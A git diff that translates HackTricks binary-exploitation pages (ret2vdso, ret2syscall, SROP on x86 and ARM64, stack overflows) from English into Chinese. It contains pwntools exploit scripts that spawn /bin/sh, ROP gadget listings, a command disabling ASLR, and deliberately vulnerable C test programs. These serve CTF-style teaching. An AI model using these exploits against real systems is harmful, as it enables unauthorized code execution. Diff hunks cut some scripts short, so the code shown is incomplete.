+### `sh: 1: %s%s%s%s%s%s%s%s: 未找到`
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-Try to **subtract 64 bytes to the address of "/bin/sh"**:
+如果在创建**所有**漏洞利用后发现此**错误**:`sh: 1: %s%s%s%s%s%s%s%s: 未找到`
+尝试**将"/bin/sh"的地址减去64字节**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
-
-
-
-{% embed url="https://websec.nl/" %}
-
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
index a3a6c9ed5..9baaea376 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
@@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
-
-Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
+在 **vDSO 区域** 可能存在 **gadgets**,用于从用户模式切换到内核模式。在这类挑战中,通常会提供一个内核映像以转储 vDSO 区域。
+根据 [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) 的示例,可以看到如何转储 vdso 部分并将其移动到主机:
```bash
# Find addresses
cat /proc/76/maps
@@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
-
-ROP gadgets found:
-
+找到的 ROP 小工具:
```python
vdso_addr = 0xf7ffc000
@@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
-
> [!CAUTION]
-> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
+> 注意,如果内核使用 CONFIG_COMPAT_VDSO 编译,**通过 vdso 绕过 ASLR** 可能是可行的,因为 vdso 地址不会被随机化: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
-After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
+在 kali 2023.2 arm64 中转储并检查二进制文件的 vdso 部分后,我没有找到任何有趣的 gadget(无法通过堆栈中的值控制寄存器或控制 x30 进行返回)**除了调用 SROP 的方法**。请查看页面中的示例以获取更多信息:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 444927dfd..71a2d727e 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
+这与 Ret2lib 类似,但在这种情况下,我们不会调用库中的函数。在这种情况下,一切都将准备好调用 syscall `sys_execve`,并带有一些参数以执行 `/bin/sh`。这种技术通常在静态编译的二进制文件上执行,因此可能会有很多 gadgets 和 syscall 指令。
-In order to prepare the call for the **syscall** it's needed the following configuration:
+为了准备对 **syscall** 的调用,需要以下配置:
-- `rax: 59 Specify sys_execve`
-- `rdi: ptr to "/bin/sh" specify file to execute`
-- `rsi: 0 specify no arguments passed`
-- `rdx: 0 specify no environment variables passed`
+- `rax: 59 指定 sys_execve`
+- `rdi: ptr to "/bin/sh" 指定要执行的文件`
+- `rsi: 0 指定不传递参数`
+- `rdx: 0 指定不传递环境变量`
-So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
+所以,基本上需要将字符串 `/bin/sh` 写入某个地方,然后执行 `syscall`(注意控制栈所需的填充)。为此,我们需要一个 gadget 来在已知区域写入 `/bin/sh`。
> [!TIP]
-> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> 另一个有趣的 syscall 是 **`mprotect`**,这将允许攻击者 **修改内存中页面的权限**。这可以与 [**ret2shellcode**](../../stack-overflow/stack-shellcode/) 结合使用。
-## Register gadgets
-
-Let's start by finding **how to control those registers**:
+## 寄存器 gadgets
+让我们开始寻找 **如何控制这些寄存器**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
+通过这些地址,可以**在堆栈中写入内容并将其加载到寄存器中**。
-With these addresses it's possible to **write the content in the stack and load it into the registers**.
+## 写字符串
-## Write string
-
-### Writable memory
-
-First you need to find a writable place in the memory
+### 可写内存
+首先,您需要在内存中找到一个可写的位置。
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
+### 在内存中写入字符串
-### Write String in memory
-
-Then you need to find a way to write arbitrary content in this address
-
+然后你需要找到一种方法在这个地址写入任意内容
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
+### 自动化 ROP 链
-### Automate ROP chain
-
-The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
-
+以下命令在存在 write-what-where gadgets 和 syscall 指令时,针对静态二进制文件创建完整的 `sys_execve` ROP 链:
```bash
ROPgadget --binary vuln --ropchain
```
-
-#### 32 bits
-
+#### 32 位
```python
'''
Lets write "/bin/sh" to 0x6b6000
@@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
-
-#### 64 bits
-
+#### 64 位
```python
'''
Lets write "/bin/sh" to 0x6b6000
@@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
+## 缺少小工具
-## Lacking Gadgets
-
-If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
+如果您**缺少小工具**,例如在内存中写入`/bin/sh`,您可以使用**SROP技术来控制所有寄存器值**(包括RIP和参数寄存器)来自栈:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
-## Exploit Example
-
+## 利用示例
```python
from pwn import *
@@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
-
-## Other Examples & References
+## 其他示例与参考
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
+- 64 位,无 PIE,nx,在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
+- 64 位,nx,无 PIE,在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。为了写入堆栈,滥用一个执行数学运算的函数。
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
+- 64 位,无 PIE,nx,BF canary,在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 5b912eab8..d97b3450e 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -2,80 +2,73 @@
{{#include ../../../banners/hacktricks-training.md}}
-Find an introduction to arm64 in:
+在以下内容中找到关于 arm64 的介绍:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## 代码
-We are going to use the example from the page:
+我们将使用页面中的示例:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
-
```c
#include
#include
void win() {
- printf("Congratulations!\n");
+printf("Congratulations!\n");
}
void vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-Compile without pie and canary:
-
+在没有PIE和canary的情况下编译:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
-
## Gadgets
-In order to prepare the call for the **syscall** it's needed the following configuration:
+为了准备对 **syscall** 的调用,需要以下配置:
-- `x8: 221 Specify sys_execve`
-- `x0: ptr to "/bin/sh" specify file to execute`
-- `x1: 0 specify no arguments passed`
-- `x2: 0 specify no environment variables passed`
-
-Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
+- `x8: 221 指定 sys_execve`
+- `x0: 指向 "/bin/sh" 的指针,指定要执行的文件`
+- `x1: 0 指定不传递参数`
+- `x2: 0 指定不传递环境变量`
+使用 ROPgadget.py,我能够在机器的 libc 库中找到以下 gadgets:
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
- ldp x3, x0, [sp, #8] ;
- ldp x1, x4, [sp, #0x18] ;
- ldr x5, [sp, #0x58] ;
- ldr x2, [sp, #0xe0] ;
- blr x5
+ldp x3, x0, [sp, #8] ;
+ldp x1, x4, [sp, #0x18] ;
+ldr x5, [sp, #0x58] ;
+ldr x2, [sp, #0xe0] ;
+blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
- nop ;
- nop ;
- mov x8, #0xdd ;
- svc #0
+nop ;
+nop ;
+mov x8, #0xdd ;
+svc #0
```
-
-With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
+通过之前的 gadgets,我们可以从栈中控制所有需要的寄存器,并使用 x5 跳转到第二个 gadget 以调用 syscall。
> [!TIP]
-> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
-
-### Exploit
+> 请注意,了解来自 libc 库的信息也允许进行 ret2libc 攻击,但让我们在当前示例中使用它。
+### 利用
```python
from pwn import *
@@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 20e07f3f2..8af61b903 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -2,25 +2,24 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
+**`Sigreturn`** 是一个特殊的 **syscall**,主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了一些异常情况。当程序接收到信号时,它会暂时暂停当前工作,以通过 **信号处理程序** 处理信号,这是一种专门用于处理信号的函数。
-After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
+在信号处理程序完成后,程序需要 **恢复其先前的状态**,就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**,并通过清理信号处理程序使用的堆栈帧(存储函数调用和局部变量的内存区域)来恢复程序的状态。
-The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
+有趣的是 **`sigreturn`** 是如何恢复程序状态的:它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时,**`sigreturn` 从堆栈中弹出这些值**,有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器(RSP)。
> [!CAUTION]
-> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
+> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到堆栈中的寄存器值**,可以 **控制** 所有寄存器值,因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
-Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
+请注意,这将是一种 **Ret2syscall** 类型,使得控制参数以调用其他 Ret2syscalls 变得更加容易:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
-If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
-
+如果你感兴趣,这是存储在堆栈中的 **sigcontext 结构**,以便稍后恢复值(图表来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
-
-For a better explanation check also:
+为了更好的解释,请查看:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
-## Example
-
-You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
+## 示例
+您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop),其中通过 ROP 构造对 signeturn 的调用(将值 `0xf` 放入 rxa),尽管这只是最终的利用:
```python
from pwn import *
@@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-
-Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
-
+另请查看[**此处的漏洞利用**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html),其中二进制文件已经调用了`sigreturn`,因此不需要使用**ROP**来构建。
```python
from pwn import *
@@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
-
-## Other Examples & References
+## 其他示例与参考
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
+- 允许**写入栈**的汇编二进制文件,然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/),并读取二进制内存中的标志。
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
+- 允许**写入栈**的汇编二进制文件,然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/)(该二进制文件包含字符串`/bin/sh`)。
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
+- 64位,无relro,无canary,nx,无pie。简单的缓冲区溢出,利用`gets`函数,缺乏执行[**ret2syscall**](../rop-syscall-execv/)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`,利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
+- 64位汇编程序,无relro,无canary,nx,无pie。流程允许在栈中写入,控制多个寄存器,并调用系统调用,然后调用`exit`。选择的系统调用是`sigreturn`,它将设置寄存器并移动`eip`以调用先前的系统调用指令,并运行`memprotect`将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程,程序将再次调用read到ESP,但在这种情况下ESP将指向下一个指令,因此传递一个shellcode将其写为下一个指令并执行。
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
+- SROP用于赋予执行权限(memprotect)给放置shellcode的地方。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index ad3191732..a9aae72b6 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Pwntools example
-
-This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
+## Pwntools 示例
+此示例创建了易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**:
```python
from pwn import *
@@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
+## bof 示例
-## bof example
-
-### Code
-
+### 代码
```c
#include
#include
#include
void do_stuff(int do_arg){
- if (do_arg == 1)
- __asm__("mov x8, 0x8b; svc 0;");
- return;
+if (do_arg == 1)
+__asm__("mov x8, 0x8b; svc 0;");
+return;
}
char* vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
- return buffer;
+return buffer;
}
char* gen_stack() {
- char use_stack[0x2000];
- strcpy(use_stack, "Hello, world!");
- char* b = vulnerable_function();
- return use_stack;
+char use_stack[0x2000];
+strcpy(use_stack, "Hello, world!");
+char* b = vulnerable_function();
+return use_stack;
}
int main(int argc, char **argv) {
- char* b = gen_stack();
- do_stuff(2);
- return 0;
+char* b = gen_stack();
+do_stuff(2);
+return 0;
}
```
-
-Compile it with:
-
+用以下命令编译:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
+## 利用
-## Exploit
-
-The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
-
+该利用利用了缓冲区溢出,返回到对 **`sigreturn`** 的调用,并准备堆栈以调用 **`execve`**,指向 `/bin/sh`。
```python
from pwn import *
@@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
+## bof 示例,无需 sigreturn
-## bof example without sigreturn
-
-### Code
-
+### 代码
```c
#include
#include
#include
char* vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
- return buffer;
+return buffer;
}
char* gen_stack() {
- char use_stack[0x2000];
- strcpy(use_stack, "Hello, world!");
- char* b = vulnerable_function();
- return use_stack;
+char use_stack[0x2000];
+strcpy(use_stack, "Hello, world!");
+char* b = vulnerable_function();
+return use_stack;
}
int main(int argc, char **argv) {
- char* b = gen_stack();
- return 0;
+char* b = gen_stack();
+return 0;
}
```
+## 利用
-## Exploit
-
-In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
+在 **`vdso`** 部分,可以在偏移量 **`0x7b0`** 找到对 **`sigreturn`** 的调用:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
-
+因此,如果泄露,可以 **使用此地址访问 `sigreturn`**,如果二进制文件没有加载它:
```python
from pwn import *
@@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-
-For more info about vdso check:
+有关 vdso 的更多信息,请查看:
{{#ref}}
../ret2vdso.md
{{#endref}}
-And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
+要绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md
index 6de6060f2..968bedaa9 100644
--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is a Stack Overflow
+## 什么是栈溢出
-A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
+**栈溢出**是一种漏洞,当程序向栈中写入的数据超过其分配的容量时,就会发生这种情况。这些多余的数据将**覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。
-The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
+这个覆盖的主要问题是**保存的指令指针(EIP/RIP)**和**保存的基指针(EBP/RBP)**用于返回到上一个函数,它们是**存储在栈上的**。因此,攻击者将能够覆盖这些内容并**控制程序的执行流**。
-The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
+该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
-Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
-
-For example, the following functions could be vulnerable:
+一些常见的易受攻击的函数包括:**`strcpy`, `strcat`, `sprintf`, `gets`**...此外,像**`fgets`**、**`read`和`memcpy`**这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
+例如,以下函数可能是脆弱的:
```c
void vulnerable() {
- char buffer[128];
- printf("Enter some text: ");
- gets(buffer); // This is where the vulnerability lies
- printf("You entered: %s\n", buffer);
+char buffer[128];
+printf("Enter some text: ");
+gets(buffer); // This is where the vulnerability lies
+printf("You entered: %s\n", buffer);
}
```
+### 寻找栈溢出偏移量
-### Finding Stack Overflows offsets
+寻找栈溢出的最常见方法是输入大量的 `A`s(例如 `python3 -c 'print("A"*1000)'`),并期待出现 `Segmentation Fault`,这表明 **尝试访问了地址 `0x41414141`**。
-The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
+此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,以便能够 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 \_n**\_\*\* 的子序列恰好出现一次\*\* 作为连续子序列。
-Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
-
-This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
-
-It's possible to use **pwntools** for this:
+这样,您就不需要手动计算控制 EIP 所需的偏移量,可以使用这些序列中的一个作为填充,然后找到覆盖它的字节的偏移量。
+可以使用 **pwntools** 来实现这一点:
```python
from pwn import *
@@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
-
-or **GEF**:
-
+或 **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
+## 利用栈溢出
-## Exploiting Stack Overflows
+在溢出期间(假设溢出大小足够大),您将能够**覆盖**栈内局部变量的值,直到达到保存的**EBP/RBP 和 EIP/RIP(甚至更多)**。\
+滥用这种类型漏洞的最常见方法是**修改返回地址**,这样当函数结束时,**控制流将被重定向到用户在此指针中指定的地方**。
-During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
-The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
-
-However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
+然而,在其他场景中,仅仅**覆盖栈中某些变量的值**可能就足以进行利用(例如在简单的 CTF 挑战中)。
### Ret2win
-In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
+在这种类型的 CTF 挑战中,二进制文件中有一个**函数**,**从未被调用**,而且**您需要调用它才能获胜**。对于这些挑战,您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/)会被禁用),这样当易受攻击的函数返回时,隐藏的函数将被调用:
{{#ref}}
ret2win/
